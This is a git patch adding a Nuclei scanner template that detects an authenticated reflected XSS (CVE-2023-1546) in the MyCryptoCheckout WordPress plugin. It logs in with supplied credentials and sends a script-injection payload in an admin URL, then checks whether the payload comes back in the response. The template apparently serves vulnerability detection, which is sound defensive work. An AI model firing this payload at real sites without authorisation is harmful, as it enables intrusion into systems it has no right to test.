From d14aaa69c0dd9a0cf1cba19a1e7356983bbe90ad Mon Sep 17 00:00:00 2001 From: Harsh Yadav <40105975+harsh2403@users.noreply.github.com> Date: Sat, 15 Jul 2023 23:36:25 +0530 Subject: [PATCH] Create CVE-2023-1546.yaml --- http/cves/2023/CVE-2023-1546.yaml | 37 +++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 http/cves/2023/CVE-2023-1546.yaml diff --git a/http/cves/2023/CVE-2023-1546.yaml b/http/cves/2023/CVE-2023-1546.yaml new file mode 100644 index 0000000000..f8345d5a2b --- /dev/null +++ b/http/cves/2023/CVE-2023-1546.yaml @@ -0,0 +1,37 @@ +id: CVE-2023-1546 + +info: + name: MyCryptoCheckout < 2.124 - Reflected XSS + author: Harsh + severity: medium + description: | + The plugin does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting + reference: + - https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0 + classification: + cve-id: CVE-2023-1546 + tags: wpscan,cve2023,wordpress,authenticated,cve,wp-plugin,xss + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + log={{username}}&pwd={{password}}&wp-submit=Log+In + - | + GET /wp-admin/options-general.php?page=mycryptocheckout&%22%3E%3Cscript%3Ealert(007)%3C/script%3E HTTP/1.1 + Host: {{Hostname}} + + + + cookie-reuse: true + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_2 == 200' + - 'contains(header_2, "text/html")' + - 'contains(body_2, "scriptalert(007)")' + condition: and